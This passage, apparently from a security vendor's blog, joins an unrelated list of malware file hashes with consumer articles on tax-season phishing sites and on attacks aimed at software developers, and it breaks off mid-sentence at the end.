1AA72CD19E37570E14D898DFF3F2E380
79CD56FC9ABF294B9BA8751E618EC642
0B9B420E3EDD2ADE5EDC44F60CA745A2
6611E902945E97A1B27F322A50566D48
84E54C3602D8240ED905B07217C451CD

SFX archives containing ABCDoor JavaScript loader
2B92E125184469A0C3740ABCAA10350C
043E457726F1BBB6046CB0C9869DBD7D

ZIP archives containing malicious SFX archives
6495C409B59DEB72CFCB2B2DA983B3BB
B500E0A8C87DFFE6F20C6E067B51AFBF
90257AA1E7C9118055C09D4A978D4BEE
F8371097121549FEB21E3BCC2EEEA522
814032EEC3BC31643F8FAA4234D0E049

run.deobfuscated.obf.js
B53E3CC11947E5645DFBB19934B69833

run_direct.ps1
0C3B60FFC4EA9CCCE744BFA03B1A3556

Silver Fox RustSL loaders
039E93B98EF5E329F8666A424237AE73
B6DF7C59756AB655CA752B8A1B20CFFA
5390E8BF7131CAAAA98A5DD63E27B2BC
44299A368000AE1EE9E9E584377B8757
E5E8EF65B4D265BD5FB77FE165131C2F
3279307508F3E5FB3A2420DEC645F583
1020497BEF56F4181AEFB7A0A9873FB4
B23D302B7F23453C98C11CA7B2E4616E
A234850DFDFD7EE128F648F9750DD2C4
4FC5EC1DE89CE3FCDD3E70DB4A9C39D1
A0D1223CA4327AA5F7674BDA8779323F
70AE9CA2A285DA9005A8ACB32DD31ACE
DD0114FFACC6610B5A4A1CB0E79624CC
891DE2FF486A1824F2DB01C1BDF1D2E9
B0E06925DB5416DFC90BABF46402CD6F
AD39A5790B79178D02AC739099B8E1F4
D1D78CD1436991ADB9C005CC7C6B5B98
2C5A1DD4CB53287FE0ED14E0B7B7B1B7
E6362A81991323E198A463A8CE255533
CB3D86E3EC2736EE1C883706FCA172F8
A083C546DC66B0F2A5E0E2E68032F62C
70016DDBCB8543BDB06E0F8C509EE980
8FC911CA37F9F451A213B967F016F1F8
202A5BCB87C34993318CFA3FA0C7ECB0
06130DC648621E93ACB9EFB9FABB9651
F7037CC9A5659D5A1F68E88582242375
8AC5BEE89436B29F9817E434507FEF55
5ED84B2099E220D645934E1FD552AE3A
27A3C439308F5C4956D77E23E1AAD1A9
53B68CA8D7A54C15700CF9500AE4A4E2
1D1F71936DB05F67765F442FEB95F3FD
3C6AEC25EBB2D51E1F16C2EEF181C82A
7F27818E4244310A645984CCC41EA818
A75713F0310E74FFD24D91E5731C4D31
4FC8C78516A8C2130286429686E200ED
3417B9CF7ACB22FAE9E24603D4DE1194
933F1CB8ED2CED5D0DD2877C5EA374E8
B5CA812843570DCF8E7F35CACAB36D4A

ValleyRAT plugins installing ABCDoor
4A5195A38A458CDD2C1B5AB13AF3B393
E66BAE6E8621DB2A835FA6721C3E5BBE

ABCDoor stagers and loaders
04194F8DDD0518FD8005F0E87AE96335
F15A67899CFE4DECFF76D4CD1677C254
11705121F64FA36F1E9D7E59867B0724

Malicious VNC installers used in August 2025 attacks
4D343515F4C87B9A2FFD2F46665D2D57
DFC64DD9D8F776CA5440C35FEF5D406E
EEFC28E9F2C0C0592AF186BE8E3570D2
6CF382D3A0EAE57B8BAAA263E4ED8D00
32407207E9E9A0948D167DCA96C41D1A
D17CAF6F5D6BA3393A3A865D1C43C3D2

ABCDoor .pyd files
13669B8F2BD0AF53A3FE9AC0490499E5
5B998A5BC5AD1C550564294034D4A62C
C50C980D3F4B7ED970F083B0D37A6A6A
DE8F0008B15F2404F721F76FAC34456A
9BF9F635019494C4B70FB0A7C0FB53E4
A543B96B0938DE798DD4F683DD92A94A
FA08B243F12E31940B8B4B82D3498804

In many countries, spring is the traditional time for filing income tax returns. These documents are a goldmine for bad actors because they contain a wealth of personal data, such as employment history, income, assets, bank account details — the list goes on. It’s no surprise that scammers ramp up their efforts around this time; the internet is currently crawling with fake websites designed to look exactly like government resources and tax authorities.

With deadlines looming and numbers to crunch, the rush to get everything done in good time can cause people to let their guard down. In the shuffle, it’s easy to miss the signs that the site where you’re detailing your finances has zero connection to the revenue service, or that the file you just downloaded, supposedly from a tax inspector, is actually malware.

In this post, we break down how these fraudulent tax agency sites operate across different countries and what you should absolutely avoid doing to keep your money and sensitive information safe.

Taxpayer phishing

This season, attackers have been spoofing tax authority websites across numerous countries, including the official government portals of Germany, France, Austria, Switzerland, Brazil, Chile, and Colombia. On these fraudulent sites, scammers harvest credentials for legitimate services, and steal personal data before offering to process a tax deduction — provided the victim enters their credit card details. In some cases, they even charge a fee for this fraudulent service.

A site imitating the Chilean tax authority. The victim is prompted to enter their credit card information to receive a substantial tax refund — roughly US$375. Instead, the funds are siphoned from the victim’s account directly to the scammers

Sometimes, the tactic involves accusations issued on behalf of government bodies. In the image below, for example, a “head of tax audit” in Paris informs the victim that they provided incomplete income information. To avoid penalties, the user is told to download a document and make corrections immediately. However, the PDF file hides something much worse: malware.

Instead of an official document from the French tax service, the user finds malware waiting inside the PDF

In Colombia, a fake National Directorate of Taxes and Customs site similarly prompts users to download documents that must be “unlocked with a security key”. In reality, this is simply a password-protected, malicious ZIP archive.

After entering the password, the user opens a malicious archive that infects their device

Beyond phishing sites mimicking legitimate resources, our experts have discovered fraudulent websites promising paid services for filling out and auditing tax documents — and stealing high-value data, such as taxpayer identification numbers (TINs), instead.

Tax-free crypto earnings

Cryptocurrency holders have emerged as a specific target for attackers. Fake German tax authorities are demanding that wallet owners “verify their digital asset holdings”, citing EU regulations for tax calculation purposes. And of course, there’s a “silver lining”: it turns out crypto earnings are supposedly tax-exempt! However, to claim this generous benefit, users must go through a “verification” procedure. The site even promises to encrypt data using a “2048-bit SSL protocol”.

To complete the “verification” process, users are prompted to enter their seed phrase — the unique sequence of words tied to a crypto wallet that grants full recovery access. This request is paired with a threat: refusing to provide the data will lead to serious legal consequences, such as fines up to one million euros or criminal prosecution.

Attackers pulled a similar stunt on French users as well. They created a non-existent “Crypto Tax Compliance Portal”, which mimics the design of the French Ministry of Economy and Finance website. The phishing site aggressively demands that French residents submit a “digital asset declaration”.

After the user enters their personal information, the scammers prompt them to either manually enter their seed phrase, or “link” their crypto wallet to the portal. If they go through with this, their MetaMask, Binance, Coinbase, Trust Wallet, or WalletConnect wallets will be drained.

Can AI help with your tax returns?

When you have AI at your fingertips that can instantly generate text and fill out spreadsheets, there’s a serious temptation to delegate everything to it. Unfortunately, this can lead to serious consequences. First, all popular chatbots process your data on their servers, which puts your sensitive information at risk of a leak. Second, they sometimes make incredibly foolish mistakes, and that can lead to actual trouble with the taxman.

Before you tell a chatbot or an AI agent how much money you made last year — complete with detailed personal and banking info — remember how frequently leaks occur within AI-powered services and consider the risks. Don’t discuss your income with AI, don’t give it personal details like your name or address, and under no circumstances should you upload photos or numbers of vital documents such as passports, insurance info, or social security numbers. Files containing confidential information should be kept in encrypted containers, such as Kaspersky Password Manager.

If you’re still determined to use AI tools, run them locally. This can be done for free even on a standard laptop, and we’ve previously covered how to set up local language models using DeepSeek as an example. However, the quality of the output from these models is often subpar. It’s quite possible that double-checking every digit in an AI-generated response will take more time than just filling out the paperwork manually. Remember, you’re the one accountable to the tax office for any errors — not the AI.

Finally, watch out for phishing AI models that offer “assistance” with tax filing. Kaspersky experts have discovered websites where users are prompted to upload tax invoices, supposedly for the automated generation of returns and deduction claims. Instead, attackers collect this personal data to resell on the dark web, or to use in future phishing attacks, blackmail, and extortion schemes.

The creators of a fake AI tool prompt users to upload tax documents, and kindly assure them that the site doesn’t store any user data. In reality, every piece of information entered — name, address, documents, contact person, phone number — ends up in the hands of cybercriminals

Remember that all legitimate AI services explicitly warn users not to share confidential data, and tax documents certainly fall into this category. Any AI tools promising to help you handle your tax paperwork are quite simply a scam.

How to protect yourself and your data

• File your taxes yourself. The risk of running into scammers is extremely high. Even if a consulting firm is legitimate, you’re inevitably handing over a complete dossier on yourself: passport details, employment and income info, your address, and more. Remember that even the most honest services aren’t immune to hacks and data breaches.
• Watch out for fake websites. Use a reliable security solution that prevents you from visiting phishing sites and blocks malicious file downloads.
• Keep all important documents encrypted. Storing photos, notes, or files on your desktop, or starred messages in a messaging app isn’t a secure way to handle sensitive data. A secure vault like Kaspersky Password Manager can store more than just passwords and credit card info; it can also safeguard documents and even photos.
• Don’t trust AI. Even the most advanced chatbots are prone to errors and hallucinations, and in theory, developers can read any conversation you have with their AI. If you absolutely must use AI, install and run a local version on your own computer.
• Stick to official channels only. The “chief tax inspector” of your country or city is definitely not going to message you: high-ranking officials have more important things to do. Only contact tax authorities through official channels, and carefully verify the sender of any emails you receive. Most often, even a slight deviation in the name or address is a telltale sign of a phishing campaign.

Further reading on phishing and data security:

• Phishing and spam: the wildest campaigns of 2025
• How phishers and scammers use AI
• What happens to data stolen using phishing?
• How to disappear from the internet
• Why data brokers build dossiers on you, and how to stop them doing so

Lately, hackers have been turning up the heat on software developers. On the surface, this might seem like a puzzling move — why go after someone who’s literally paid to understand tech when there are plenty of less-savvy targets in the office? As it turns out, compromising a developer’s machine offers a much bigger payoff for an attacker.

Why developers are such high-value targets

For starters, compromising a coder’s workstation can give attackers a direct line to source code, credentials, authentication tokens, or even the entire development infrastructure. If the company builds software for others, a hijacked dev environment allows attackers to launch a massive supply chain attack, using the company’s products to infect its customer base. If the developer works on internal services, their machine becomes a perfect beachhead for lateral movement, allowing hackers to spread deeper into the corporate network.

Even when attackers are purely chasing cryptocurrency (and let’s face it, tech pros are much more likely to hold crypto than the average person), the malware used in these hits doesn’t just swap out wallet addresses; it vacuums up every scrap of valuable data it can find — especially those login credentials and session tokens. Even if the original attackers don’t care about corporate access, they can easily flip those credentials to initial access brokers or more specialized threat actors on the dark web.

Why developers are sitting ducks

In practice, developers aren’t nearly as good at understanding cyberthreats and spotting social engineering as they think they are. This misconception is a big reason why they often fall prey to cybercriminals. Professional expertise can often create a false sense of digital invincibility. This often leads technical professionals to cut corners on security protocols, bypass restrictions set by the security team, or even disable security software on their corporate machines when it gets in the way of their workflow. That mindset, combined with a job that requires them to constantly download and run third-party code, makes them sitting ducks for cyberattackers.

Attack vectors targeting developers

Once an attacker sets their sights on a software engineer, their go-to move is usually finding a way to slip malicious code onto the machine. But that’s just the tip of the iceberg — hackers are also masters at rebranding classic, battle-tested tactics.

Compromising open-source packages

One of the most common ways to hit a developer is by poisoning open-source software. We’ve seen a flood of these attacks over the past year. A prime example hit in March 2026, when attackers managed to inject malicious code into LiteLLM, a popular Python library hosted in the PyPI repository. Because this library acts as a versatile gateway for connecting various AI agents, it’s baked into a massive number of projects. These trojanized versions of LiteLLM delivered scripts designed to hunt for credentials across the victim’s system. Once stolen, that data serves as a skeleton key for attackers to infiltrate any company that was unlucky enough to download the infected packages.

Malware hidden in technical assignments

Every so often, attackers post enticing job openings for developers, complete with take-home test assignments that are laced with malicious code. For instance, in late February 2026, malicious actors pushed out web application projects built on Next.js via several malicious repositories, framing them as coding tests. Once a developer cloned the repo and fired up the project locally, a script would trigger automatically to download and install a backdoor. The attackers gained full remote access to the developer’s machine.

Fake development tools

Recently, our experts described an attack where hackers used paid search-engine ads to push malware disguised as popular AI tools. One of the primary baits was Claude Code, an AI coding assistant. This campaign specifically targeted developers looking for a way to use AI-assistants under the radar, without getting the green light from their company’s infosec team. The ads directed users to a malicious site that perfectly mimicked the official Claude Code documentation. It even included “installation instructions”, which prompted the user to copy and run a command. In reality, running that command installed an infostealer that harvested credentials and shuttled them off to a remote server.

Social engineering tactics

That said, attackers often stick to the basics when trying to plant malware. A recent investigation into a compromised npm package — Axios — revealed that hackers had gained access to a maintainer’s system using a shockingly simple “outdated software” ruse. The attackers reached out to the Axios repository maintainer while posing as the founder of a well-known company. After some back-and-forth, they invited him to a video interview. When the developer tried to join the meeting on what looked like Microsoft Teams, he hit a fake notification claiming his software was out of date and needed an immediate update. That “update” was actually a Remote Access Trojan, giving the attackers access to his machine.

Niche spam

Sometimes, even a blast of fake notifications does the trick, especially when it’s tailored to the audience. For example, just recently, attackers were caught posting fake alerts in the Discussions tabs of various GitHub projects, claiming there was a critical vulnerability in Visual Studio Code that required an immediate update. Because developers subscribed to those discussions received these alerts directly via email, the notifications looked like legitimate security warnings. Of course, the link in the message didn’t lead to an official patch; it pointed to a “fixed” version of VS Code that was actually laced with malware.

How to safeguard an organization

To minimize the risk of a breach, companies should lean into the following best practices:

• Make security a native part of your workflow. Use specialized solutions to vet your images, packages, dependencies, and components.
• Use threat intelligence feeds specifically focused on open-source components to check the packages used in software development.
• Make sure security awareness training covers everyone — including developers. Leverage specialized solutions like Kaspersky Automated Security Awareness Platform.
• Make sure developers are aware of the latest attack patterns — you can keep them in the loop by following the Development tag right here on this